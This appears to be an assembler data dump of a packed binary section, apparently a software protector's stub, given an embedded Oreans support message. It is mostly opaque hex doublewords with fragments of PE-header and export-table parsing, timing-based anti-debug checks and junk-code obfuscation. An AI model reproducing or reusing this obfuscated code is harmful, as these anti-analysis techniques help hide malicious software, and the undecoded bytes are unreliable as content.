		dd 0F0AB2901h, 3DA8770Eh, 2A820140h, 0F1C6BF44h, 56807472h
		dd 497F986Dh, 3D000000h, 4420C5A8h, 9888F0CFh, 46670BF4h
		dd 69F44306h, 0E3470194h, 770EF06Ah, 0EBA503D6h, 0EF0C15Fh
		dd 0E1B55877h, 63D98CDCh, 11E9742h, 0A0492A82h,	0D6B7F1C3h
		dd 42DB6F45h, 0BE770EF0h, 590C5C2Bh, 165A60E3h,	0D9000000h
		dd 836088F0h, 0F0AB2901h, 3DA8770Eh, 2A820140h,	0F1C3A049h
		dd 0FEFA5A72h, 0F0D9FFFFh, 0FF4B6785h, 750CAB9Fh, 0D9ACCA91h
		dd 94D3B136h, 0F2ACCAEAh, 0A259CF21h, 5D62E7FBh, 21EF5C82h
		dd 1E2E8A58h, 7108BD85h, 0D47C6CFBh, 7108BD3Dh,	0C4842DCFh
		dd 77119679h, 0EC2E72CEh, 2D0B5FC5h, 93671B17h,	23D0h
		dd 0F26F6300h, 29770EF0h, 315AD076h, 7C1C2843h,	7D10EC7Bh
		dd 0C977159Ah, 3A525724h, 0BFCCD1AFh, 77000000h, 6FAD85F0h
		dd 58990A3Fh, 0C3FCA81Ah, 4ACCE3BEh, 5022C3FFh,	0B793CDABh
		dd 7511DA89h, 0A74660F7h, 0B12AFED6h, 0F710B79h, 3977CD58h
		dd 853DC654h, 79E67FCBh, 8F5A710Bh, 2AC85D31h, 0DEDFB352h
		dd 58F1DB8Eh, 0A4710B79h, 8522AA31h, 8C2FCFAh, 0B014D157h
		dd 6FC5456Eh, 8EC075Fh,	0D492796Fh, 0A5E6331h, 2AE6D5A7h
		dd 998047D1h, 7B0C5C2Bh, 74D49210h, 75074268h, 866703D6h
		dd 379ACEEFh, 1245F60h,	0C4E0D039h, 0AAB2924h, 25F40000h
		dd 9C79CC80h, 0AEC7117h, 761EE3E1h, 0E98E1371h,	0F7268CC0h
		dd 0A725CEA3h, 2BB93ED2h, 590FB446h, 0C89C21F4h, 0C059F1A9h
		dd 3C71088Fh, 432AEF8Ch, 0B0472AA2h, 56CE5D0Fh,	0F8A54802h
		dd 70E94117h, 0CC770EF0h, 54F4B219h, 770EF0BBh,	99CF5A01h
		dd 6D4E526Ah, 5C0D99h, 0F0AE0000h, 914B6785h, 0EF020B9h
		dd 7A00E277h, 784B7F61h, 50C96159h, 0AC770E3Eh,	98D65239h
		dd 115A02B0h, 0E3E57075h, 1276771Eh, 50DE88Fh, 9F7764C1h
		dd 0CAFDEF7Ah, 0D68921BFh, 38BB5C2Eh, 5B15930Fh, 0E25C1CFh
		dd 0C0503F6Fh, 0AD38AD3Fh, 19A27015h, 0A3771A4Fh, 0A11F4A02h
		dd 492A96CDh, 0F03ED773h, 0D782770Eh, 0E09A0448h, 0EF0CF48h
		dd 0C2BE2D77h, 0EF068EAh, 0C3E88A77h, 1997E28Dh, 0D98CBE61h
		dd 0F86BF7EDh, 47E6427Ch, 0F9750BD9h, 0DFB15412h, 0D8A74C22h
		dd 997B0AB4h, 11F9410h,	1EF24F5Eh, 7015777Ch, 0B202392Fh
		dd 5CF70D36h, 31F099ECh, 3000001h, 496187F0h, 0F022BB8Fh
		dd 51F9770Eh, 770EF0B8h, 0EB7E5104h, 2901960Dh,	770EF0ABh
		dd 1403DA8h, 0FC547B82h, 4D6583F0h, 1C2F978Ah, 0D0ACB03Dh
		dd 7E216753h, 5C11A2F0h, 84687FB0h, 807C6963h, 896C0103h
		dd 0F0FA93B7h, 9346770Eh, 45DE6A04h, 0BB770EF0h, 9FE7502Ch
		dd 5E01A419h, 0B83EBC5Dh, 0D89513E8h, 568074DBh, 357F986Dh
		dd 0F8000000h, 886583F0h, 0F0AB2901h, 4209770Eh, 0A64701E1h
		dd 24A12BD0h, 442ACB48h, 0B7F1C6BFh, 0F0B42DFDh, 5D08770Eh
		dd 0E543680Eh, 285A6Eh,	491C0000h, 2DA602A7h, 0FF9D83F0h
		dd 0B2536FFAh, 0E75CD8E1h, 0F0AB2901h, 0C5A8770Eh, 8DD8B035h
		dd 82014D26h, 0C6BF442Ah, 807472F1h, 7F986D56h,	32h, 6088F0F8h
		dd 0AB290183h, 9770EF0h, 8201E142h, 6A0492Ah, 0F063FC4Ch
		dd 0F8D9770Eh, 0D02DFBBCh, 308C1BDFh, 896C01B3h, 413E8864h
		dd 205Ah, 88F0D900h, 29018360h,	770EF0ABh, 1403DA8h, 0A0492A82h
		dd 886C01C3h, 6D606567h, 3F89678Ch, 275E0140h, 1DEA8412h
		dd 0B8263BB1h, 5DFFFFFEh, 4B6785F0h, 0F020B991h, 39C770Eh
		dd 182C8BC5h, 68C453A5h, 15BA1A2Eh, 21B4750Ch, 0EC11E489h
		dd 27C5CFF8h, 0ED12FA8Bh, 74ED3DFBh, 0C8710815h, 7C3AB61Dh
		dd 81533ACh, 8AC28971h,	815EB62h, 0ABFF2571h, 0D715E7B8h
		dd 1B17D894h, 0BE14C75h, 66652438h, 202393h, 6F5C0000h
		dd 770EF0F2h, 64A6B02h,	0D14ADE98h, 63770EF0h, 5B366992h
		dd 0CAA60DB6h, 0D1D7h, 85F06E00h, 0F0FB94B4h, 9A41770Eh
		dd 192730Fh, 0EE3F90F8h, 8D098FB1h, 8F9BD7A2h, 770E7316h
		dd 4701FF6Ah, 116E71E3h, 7517C875h, 3D34D4C6h, 6DF8D957h
		dd 0D9E2B055h, 0AF54268Bh, 32FF8A3Dh, 0BC07D16h, 0CECC371h
		dd 19E4E1EBh, 0F054F4B2h, 4E6F097Bh, 75191C51h,	0C0AF5F04h
		dd 0C35CECA6h, 3977092Ch, 0F598D652h, 7BCE8227h, 4F781099h
		dd 2008A644h, 7506F034h, 0AA3B77E2h, 0EA21E8C3h, 0DF56CF5Bh
		dd 3FAA710Bh, 0BDB70A9Ah, 6104B2D6h, 0FF926E93h, 77DC9718h
		dd 8AE0D068h, 74F6FE2h,	81100000h, 0F885687Ch, 66089DF3h
		dd 0D2BA0F5Dh, 452ABF2Dh, 9B5A28BCh, 0C3812ACFh, 77159A7Eh
		dd 0E5EB10E2h, 14787D10h, 64FD4D4Dh, 0D871088Bh, 432A4B28h
		dd 0B0472AA2h, 1FF05D0Fh, 8A6FF29Ah, 538F6761h,	3EE68F0Fh
		dd 38BD50EAh, 52859F54h, 3442996Dh, 0FD000000h,	94B485F0h
		dd 770EF0FBh, 730F9A41h, 120809D7h, 0A820B775h,	0BC90380h
		dd 0CF130171h, 8328C99Ch, 27C99CC9h, 219FCA82h,	6A2A0A12h
		dd 62C593h, 0F0760000h,	884B6785h, 0BDDE0E4Dh, 1E58D411h
		dd 1103A00Ah, 0E326F975h, 18B19927h, 64710BD3h
		dd 0F968A0F1h, 90BBEC3h, 0C419FD68h, 0E4824968h, 289C5933h
		dd 76F46093h, 31EA9F35h, 2EBE3A81h, 6F0BAC43h, 93F5FA9Eh
		dd 0E58C0525h, 65F0710Bh, 0FB4E229Eh, 0CEF99314h, 0BD8D25C3h
		dd 6F0EE12Bh, 6D167AE1h, 0EB961CEEh, 11E2B5CDh,	54329205h
		dd 89A1DF55h, 7511BAD3h, 5DEF8A51h, 0B1594725h,	0FB9C820Dh
		dd 0C68C0525h, 65F0B099h, 0D377339Eh, 0AE9CD35Dh, 0DA5C0CDBh
		dd 257D3C39h, 0C8A43A03h, 0D896147Fh, 9BF83870h, 97D386B4h
		dd 0CA9E1FF6h, 546F9067h, 20A617C5h, 0AED6008h,	55000006h
		dd 0DEA321C6h, 4DD0B43Dh, 0FF4206ABh, 6FF29617h, 8163618Ah
		dd 4A6F0056h, 0DEDFB306h, 0AC55278Ah, 3DC25538h, 0B89016AFh
		dd 71088A1Fh, 2A08EB9Dh, 472AA243h, 2B4408B1h, 4244260h
		dd 750CABC0h, 0DCA12BBEh, 79FEB13Ah, 0B8E0D543h, 5B73DD0h
		dd 19F80000h, 906DF094h, 0FE90656Bh, 6A0297F5h,	0DDB20745h
		dd 332B0D4h, 0AB39C257h, 0DF8D32C6h, 4D03A84Ah,	0FC9015F8h
		dd 0CC45E5A5h, 3071088Ah, 85F0E380h, 0FCBDBDADh, 6BF68BDBh
		dd 29A3FB4Fh, 0CE9D750Ch, 545D339Eh, 0D5C1161Dh, 0CE03EBE0h
		dd 565h, 64A6B0Eh, 8BD9E2B3h, 25AB5026h, 553BBC50h, 0C68A2FC0h
		dd 14E5B16Ch, 8414F9EFh, 0FA986D63h, 670E93F1h,	37730246h
		dd 8897A13h, 0B536C671h, 9F886C01h, 9369F4FDh, 1F5B5924h
		dd 4800A94Eh, 2FE9A71Dh, 0F03CD575h, 0D580770Eh, 0AC134F5Fh
		dd 0FE6D750Ch, 446D03EEh, 0D543582Dh, 0F46901E0h, 501h
		dd 0BA2ECFA2h, 2FBD46D7h, 590FB45Ah, 0C99F20F4h, 7A6E9364h
		dd 78194D88h, 0E8881D73h, 5E3C81C7h, 0CBA23755h, 9B1FA62Ah
		dd 88A168Fh, 19DA6A71h,	2AA2432Ah, 5D0FB047h, 723458D4h
		dd 0A25C1A9Bh, 0EF10D86h, 791C7377h, 79D1E974h,	770EF0E0h
		dd 5F33895Ch, 0CA8223CAh, 0D7DCB94Ch, 830F2E82h, 9E7CDC4h
		dd 0E29A321h, 287CA077h, 20C5A83Dh, 22473DA8h, 8926AA4Bh
		dd 62C6E0FEh, 750BE4AEh, 20C5FD68h, 5124A84Dh, 18AF39BEh
		dd 0DCE5B76Dh, 3472D98Ch, 6217514h, 38D9AC6Fh, 0B403A44Bh
		dd 0D2867BD4h, 60114BEFh, 53061F95h, 199E7617h,	11451A4Fh
		dd 672790C1h, 0D5B8F672h, 6005BD42h, 0F36CBC90h, 49770E18h
		dd 0D5B93782h, 0F1F69A6Bh, 90092197h, 0EC770E18h, 73169279h
		dd 36711B9Ch, 3515AD4Bh, 75111607h, 34CFE675h, 0A9E0D0D5h
		dd 40B0CC1h, 0C5540000h, 3CD9AC20h, 0AA4CD1B7h,	16FE4301h
		dd 896EF391h, 57866C60h, 7456E03h, 8BD9DEB2h, 39AF5426h
		dd 0A83CC154h, 20B99109h, 9C710888h, 6C010FECh,	6366668Bh
		dd 0E80DE085h, 9AC20DCEh, 0F4827F2Fh, 0C7A61078h, 5336B233h
		dd 1A553BBCh, 1139716Fh, 7511873Bh, 0D27A12F9h,	710B8735h
		dd 0C05637F3h, 23C4543Bh, 4B2D7145h, 9369E531h,	0FAFB9372h
		dd 6379F792h, 30h, 6ECB8659h, 0CD306658h, 8306E2ACh, 72CEB6ADh
		dd 6785F0F1h, 0FF4DFF4Bh, 14C37511h, 0DF2FAC74h, 47FD710Bh
		dd 40FF0513h, 0E9F8936Ah, 7B000000h, 4A2432Ah, 0E64A8F53h
		dd 413F99B4h, 0D0B56F29h, 0F66FB942h, 4A770E6Dh, 8227C89Fh
		dd 5AE4326h, 9617FE43h,	0C65207D8h, 266985D3h, 0B85F224Ah
		dd 34E75137h, 4CDCF3ACh, 770E22D3h, 0E91DA229h,	0BFE24802h
		dd 0DC719FC3h, 77D3FB71h, 8D770E0Ah, 3287C5EAh,	75325A5Bh
		dd 33D2EC0Ah, 54315B5Ch, 7C8A9ED8h, 0FA751120h,	94998A5h
		dd 45D0C297h, 4BDF9907h, 710B37D2h, 47D4BB2Eh, 0E79C6A2h
		dd 376EE743h, 7D2710Bh,	16ECFD72h, 6ED6DCAh, 52CBC068h
		dd 82496F09h, 4B7001E4h, 0DADFB005h, 0D5F0F69Bh, 6EE38BE6h
		dd 2B5h, 0F69A1BFEh, 7B699263h,	95FB0096h, 54B6C00h, 0B6DADFB0h
		dd 0C455013Ch, 34C4A93Fh, 0AA48DDB3h, 17FE4301h, 0E7A3F296h
		dd 887CA43h, 0E5863671h, 28BC452Ah, 28F5B245h, 23503483h
		dd 4B6785F0h, 9A1FFC91h, 0FF7C0E1Eh, 67F27511h,	0D5D2BA4Bh
		dd 0B82DBF44h, 0EF37572Dh, 710BDF72h, 81CBF082h, 325A5F3Ch
		dd 5A5F3057h, 5286BA32h, 3F63D1E0h, 6A412339h, 0D6DC93h
		dd 0E09A0000h, 4444690Dh, 710BD3CBh, 55CEAA31h,	944D5E01h
		dd 2CB4852Eh, 0BAD2D7B9h, 593C512Fh, 0A44B1A54h, 53C5A503h
		dd 0B0D8E1B2h, 650A5FD5h, 0A8E40C5Ch, 0DA770E65h, 4BDEB233h
		dd 0B46703A4h, 9A1FF276h, 8025C9FCh, 982FBF35h,	97B3CFEDh
		dd 7511F869h, 234C00D7h, 0AE749058h, 248383D5h,	432ED3A1h
		dd 0F4986D27h, 70CC99F3h, 9132258h, 7D35A06Fh, 7FD06E8h
		dd 0E4D3A449h, 57C99858h, 1BFD90D5h, 493F696h, 971CFD40h
		dd 0D52609DCh, 213CCCE6h, 1A5h,	0C68A2BCEh, 4B19A273h
		dd 0E5EB10E6h, 157B7C10h, 86CAEF80h, 0D4A5F12Ch, 44D4B92Fh
		dd 0BA582DA3h, 27CE5331h, 0F7B3C286h, 886BA53h,	0F5760671h
		dd 64896C01h, 0E68B6164h, 11E4E811h, 686B797Eh,	2AA2432Ah
		dd 590FB047h, 41660EDFh, 0D2D3BA07h, 0E4402FBAh, 0F4B2305Bh
		dd 12088654h, 9A13475h,	7B6D9664h, 52FA926Eh, 710BC8B5h
		dd 9F99CD73h, 936A2685h, 5D42h,	4701FD00h, 0EF06AE3h, 0A503D677h
		dd 39716F1Ah, 12100F11h, 0B36D2D75h, 0BCFFE97h,	0B5974271h
		dd 710BD01Ch, 7E6EF560h, 0BCF39D6h, 8029CB71h, 6E9365C8h
		dd 5579B77Eh, 3266DAE5h, 6A311E26h, 9ED28593h, 5B58F38Eh
		dd 96BA55A9h, 770C7AC1h, 0AD33D6D2h, 0C5A30E51h, 1FD7h
		dd 0F16F6000h, 28770EF0h, 0B8176977h, 95132748h, 29415F2Ah
		dd 12025F01h, 24F6DD75h, 275C309Fh, 4B6785F0h, 9718FC91h
		dd 0FB033119h, 0EA717511h, 0D2BD5AE2h, 0D54B710Bh, 308D9781h
		dd 1D4A936Ah, 0F5000000h, 0EF0F26Fh, 0F7ADD877h, 74329922h
		dd 121E12D4h, 0AF3DA875h, 757E1CF1h, 79FA7613h,	4B6785F0h
		dd 0CAC03FFh, 3EAE3D75h, 7F3BBC53h, 4E009EEh, 0F5FA9D60h
		dd 220F4B93h, 230180C8h, 2FD0A7FFh, 886EFFB9h, 9CCCF59Bh
		dd 7F6A62C9h, 0E409EC81h, 0A37519E4h, 4D220E87h, 7E2D7260h
		dd 0D03E3B75h, 0C06806EDh, 604DA547h, 1F5B26B5h, 4305AA4Eh
		dd 379E4ECCh, 0C0AFBC04h, 655F0464h, 11967931h,	0E607EE73h
		dd 36BE6h, 38A0000h, 0A6472A80h, 33B45B26h, 9D26F459h
		dd 6D9266CBh, 0F801967Bh, 476C0D90h, 0D3D4B805h, 0B942D4B9h
		dd 8B1422Fh, 2D680B40h,	89000008h, 89572434h, 4C781E7h
		dd 83000000h, 3C8704EFh, 1C895C24h, 0F366824h, 14890000h
		dd 0B8505124h, 0D7C7253h, 0C158C189h, 0E9C108E9h, 46F18107h
		dd 89060654h, 0EC8359CBh, 24248904h, 4240481h, 5A000000h
		dd 0FE268h, 241C8900h, 0FF08428Fh, 815A2434h, 4C4h, 241C8B00h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFD103Dh
		dd 734CC29Fh, 0AEB8D8C2h, 306066Ch, 7BE0FFC5h, 0DA147E1Dh
		dd 0A761E310h, 7C6C8E20h, 0D37113B2h, 0D742E7FEh, 0AA398E05h
		dd 6E22FDF4h, 0CA4E3D99h, 0D21FA609h, 83306D85h, 726B8CECh
		dd 8737E190h, 0B00069C8h, 0A7436BDEh, 925CB0EEh, 0D73D4D5Ch
		dd 33720B78h, 0E9268B6Dh, 83h, 56525153h, 245C8B57h, 3B81661Ch
		dd 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h
		dd 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh
		dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
		dd 24540317h, 4C78320h,	0C084028Ah, 33A0874h
		dd 4243E875h, 33AF2EBh,	0D15FE075h, 4B70FE1h, 86048B0Fh
		dd 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh
		dd 0AE8CAh, 4C330000h, 122ECA72h, 0DE15BC69h, 5BA7D080h
		dd 4860Fh, 0B8660000h, 0C3810805h, 69B0h, 0EFCEE881h, 45BA2388h
		dd 0E900001Ah, 0Eh, 0AAFE82CEh,	510386DFh, 6526F33Ah, 33FFD34Fh
		dd 13E8h, 381C0B00h, 0CB8FDE35h, 9721BBA5h, 0C870B353h
		dd 5374B201h, 0F5F59FCh, 48Eh, 32B15100h, 32C78158h, 810FC048h
		dd 757D8EFh, 2D72B836h,	0F78104A6h, 6AAAF839h, 8E9h, 0B97F8600h
		dd 0CB2EB586h, 8166570Ah, 8FA074D1h, 0EB83F503h, 1EA8304h
		dd 0FFA0850Fh, 8A53FFFFh, 6E85EE7h, 7F000000h, 0C25946AAh
		dd 0C9816636h, 0B35ADFEAh, 79C281EBh, 0E8000061h, 8, 5579A4CEh
		dd 9A7ED92h, 53BF5EF5h,	815AF8E6h, 0F8CE32EFh, 18D0F5Ah
		dd 0FC000000h, 0DE9028Bh, 28000000h, 0FFF1C0ABh, 8B0F35CBh
		dd 9263FBCh, 909E881h, 0F0816EEEh, 32C46CD8h, 9FC98153h
		dd 59123F92h, 17D6F081h, 50F90230h, 1AEB8166h, 0E9028F54h
		dd 14h,	3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh, 871A7913h
		dd 6792EA81h, 0E681063Fh, 41280E9Dh, 678EC281h,	8F0F063Fh
		dd 0Eh,	9E9h, 6D2E3F00h, 0E152FE7Ah, 0F4FF343h,	2C85h
		dd 13E800h, 0AA0F0000h,	112F4736h, 2D6759A5h, 608AE520h
		dd 0DA15E043h, 0CE8B66B1h, 26E95Eh, 0E7330000h,	0AB373C84h
		dd 0B6E1EFB1h, 34F0BBD3h, 4DE96A99h, 51FFFFFFh,	0FAFE52BDh
		dd 27B65D50h, 3FE52F9Bh, 43542769h, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 1191E900h, 0B5890000h, 6030039h, 175858Bh, 6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 669244C3h, 9A4ECE8Dh, 39FC8B65h, 0F042444h, 3285h, 0E1952900h
		dd 8306030Ch, 32831BDh,	840F0006h, 1Fh,	5E9h, 771DB200h
		dd 858D486Bh, 60338A7h,	236D9D89h, 0BD310603h, 6032DF5h
		dd 8BF5E0FFh, 32D1185h,	0FE906h, 500A0000h, 3866570Dh
		dd 86FD1ACFh, 0CE0EB331h, 24443989h, 23850F04h,	60000000h
		dd 61C2B70Fh, 73AD85C7h, 10606h, 31600000h, 311F195h, 6890F06h
		dd 8B000000h, 31F29B5h,	0E9606106h, 0Bh, 53200BF2h, 0A9B049EAh
		dd 0E90C6B1Bh, 6, 0A3EFE31Bh, 2DE9274Ah, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 1C3BC355h, 257AFA48h, 9589A382h, 6031F11h, 0
		dd 1B8h, 0B4858700h, 0B060674h,	0FFF675C0h, 32F39B5h, 0A5858F06h
		dd 6A060673h, 0FFFF6A20h, 30F8595h, 9DBD8306h, 60305h
		dd 6A0874h, 1FB995FFh, 0BD830603h, 6032E85h, 680D7401h
		dd 80h,	95FFFF6Ah, 6030F85h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 2C35141h, 6810FF9h,	29000000h
		dd 301719Dh, 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 7A79B3C3h, 0C40D1722h
		dd 148B0Fh, 0F9600000h,	0BE8h, 0E3E68200h, 396AD008h, 0FB8D954Ah
		dd 548B615Fh, 6A2824h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 731603C3h, 6E90Ch, 1AD30000h, 0B1C71A39h
		dd 12AD8589h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0D912BEC3h, 0C7A74BE0h, 6E9B4h
		dd 0AF2E0000h, 3AB6E6AFh, 25119D01h, 3CBE0603h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0D063C355h, 47DEA3Fh, 0E9593D60h,	7, 0E341C0DBh
		dd 365698Dh, 6A242474h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 6756C357h, 89AD6680h
		dd 311C985h, 24440306h,	890FFC24h, 6, 23099D29h, 60500603h
		dd 0FE8h, 0B766AC00h, 581F22F2h, 0FF6DA5EDh, 5ADC017h
		dd 60585950h, 0D7B3D1BAh, 9A44BA05h, 61616544h,	6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B1DC352h, 6A7840h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0BF724BC3h, 0C21AE6Ah
		dd 11E9F571h, 0C0000000h, 83C08D18h, 0AFB4B618h, 4BB1CF15h
		dd 25EDD846h, 73ADBD83h, 0F000606h, 0B285h, 0E950F900h
		dd 0Ah,	0A4430456h, 5CFA729Ch, 489DB61h, 0ADBD0924h, 8B060302h
		dd 6A2C2444h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 51DC353h, 0BE6C8BDFh, 0E9DCBEF5h
		dd 14h,	5BFF01BFh, 743141FEh, 427F89A8h, 0AF3E079Eh, 0D25539FFh
		dd 228A0F50h, 50000000h, 11E952h, 0F8440000h, 6D35F156h
		dd 81E1E08Fh, 127FD9DBh, 0F44D4D0h, 860F31h, 5A000000h
		dd 24048958h, 12E9h, 4D007100h,	0CBBB17A0h, 328B05C1h
		dd 37F00658h, 8D07207Fh, 63FCE85h, 5D958906h, 0FF060314h
		dd 9B509D0h, 306031Ah, 29282444h, 326B18Dh, 18408B06h
		dd 11119D29h, 6A400603h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 382CC352h, 7A110AA5h
		dd 1FC8F8Ah, 32AE9BDh, 0A9858906h, 6A060673h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 3579C353h, 23CB8DE5h, 10E9D0h, 90C90000h, 665E581Ah
		dd 809CF281h, 4C526BD1h, 6A586EE3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 666CC351h
		dd 0D7A7DBF7h, 11E9h, 39F7A400h, 0F2DD9Dh, 0ABEAC504h
		dd 44AAB53Ah, 890F9DBEh, 6, 2C79B529h, 708B0603h, 0C683F878h
		dd 53006A1Ch, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 8531F5D3h, 6030689h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0D761808Ch
		dd 0DE938h, 8C770000h, 2B8DC5B9h, 0CB65DAE1h, 0F5535FBBh
		dd 24247C81h, 10000000h, 12B870Fh, 0FFC0000h, 685h, 0F1958900h
		dd 90060321h, 8880Fh, 8C0F0000h, 2, 50506160h, 52506052h
		dd 585A310Fh, 310F5250h, 0F61585Ah, 0DE931h, 0D1560000h
		dd 44AC80E1h, 0A1DAA5C8h, 5A3CFA52h, 6A9058h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0A6BCC4C3h
		dd 42630E6Eh, 0AE9B21Ah, 4A000000h, 10E83DA9h, 0D791AF70h
		dd 24448BA8h, 51006A28h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 9E974h, 77E20000h, 4F0DD866h, 607996EBh
		dd 0F88BCB80h, 800F9061h, 12h, 0DE9h, 0BC6AA500h, 0D0AAD96Ch
		dd 1D4DD75Ch, 0E950CC38h, 0Ch, 0B808BB86h, 8A6B29C3h, 0E0D1E736h
		dd 14E990h, 73BC0000h, 92917032h, 8EA21211h, 8ADDA5DDh
		dd 0BCA26848h, 858D1EE4h, 6063FCEh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 3BC35747h, 1DA18589h, 0D0FF0603h
		dd 0CE9h, 0B345A100h, 0D4404A42h, 7D16E5B4h, 6A9698h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0EF7BC2C3h, 0E19D8B60h, 61060324h, 304D9D29h, 74030603h
		dd 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 8465ADC3h, 2E81BD31h, 0BD8D0603h,	60331C1h
		dd 2890F60h, 60000000h,	81B58961h, 61060326h, 59B501ADh
		dd 81060323h, 24247Ch, 0F100000h, 0D287h, 1D9D8900h, 9006030Fh
		dd 0E9DA8B60h, 8, 9B6C16F2h, 76204832h,	850F5061h, 17h
		dd 12E9h, 4A182700h, 9954358Eh,	572E8969h, 40906F91h, 90B2FEDAh
		dd 0C918501h, 448B0603h, 89602824h, 31AA985h, 1870F06h
		dd 0F5000000h, 60605061h, 0C28BFA8Bh, 8B665361h, 89615ED6h
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 9D01F6C3h, 6031C49h, 20C58D89h, 858D0603h
		dd 6063FCEh, 6AD0FFF9h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 535FC352h, 6331D63Bh
		dd 9D89868Fh, 60317A1h,	0CE9h, 6F154F00h, 0FA5B4B54h, 0CAE2798Bh
		dd 2D8D89BEh, 3060309h,	89242444h, 31A51B5h, 68E0F06h
		dd 89000000h, 32CB98Dh,	81F8AB06h, 10000FAh, 0C6820F00h
		dd 6A000007h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0C1AAC351h, 5B3D9AF6h,	0F35B4A4h
		dd 68Ah, 0C1B52900h, 29060305h,	332498Dh, 51BD8D06h, 89060310h
		dd 3222585h, 6AAD06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8E902C3h, 0D9000000h, 0F3EBDAE7h
		dd 81B7F581h, 24247Ch, 0F100000h, 13087h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 1AC69C38h, 525050F8h, 6860Fh, 840F0000h, 0
		dd 5660310Fh, 0F525059h, 61585A31h, 489585Ah, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0E19C0929h, 0A880Fh,	89600000h, 30B5985h, 61F4B006h
		dd 2824448Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	69C35141h, 0DC668326h, 66C498DFh, 23E19589h, 0F500603h
		dd 884h, 28E0F00h, 60000000h, 24048961h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 66C35545h, 0BED0E10h
		dd 895ED315h, 324F19Dh,	0CE858D06h, 8906063Fh, 310F195h
		dd 6AD0FF06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8987C353h, 30B2585h, 0BD8B6006h
		dd 6032131h, 718D8B60h,	0E906030Bh, 13h, 0D4CA473h, 0CA8B7D9Bh
		dd 0BBA603CDh, 820E1F68h, 618DB3BEh, 24440361h,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 7FB40654h, 2F0C3787h, 9E94Ch, 26A70000h, 55DBFD61h
		dd 50F0450Ch, 0EE9h, 115C8A00h,	0B1CD60B4h, 4C76C9F9h
		dd 89789547h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0E9ABEEC3h, 0Bh,	0EB4F0DD8h, 0A6C77996h
		dd 8DDF9BF7h, 32259BDh,	0E19D8906h, 0AD06031Fh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 96C35242h, 495B5068h
		dd 247C81FCh, 28h, 1C870F10h, 89000001h, 31D09BDh, 0E9609006h
		dd 7, 0D0861AFEh, 666F8938h, 61FAACBFh,	60525050h, 800Fh
		dd 0DEB50000h, 0F310F61h, 684h,	8B0F00h, 5A000000h, 6A9058h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 234ECC3h, 0C1407D8Eh, 8B48442Ch, 6A2C2444h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 43FCC355h, 533EE39Ch, 6870FE8h, 89000000h, 32E2D95h
		dd 8D8B6006h, 6031281h,	9061C28Bh, 0E8B0Fh, 9E90000h, 46000000h
		dd 3D147A63h, 0FCD705E5h, 50525050h, 8C0F52h, 0F000000h
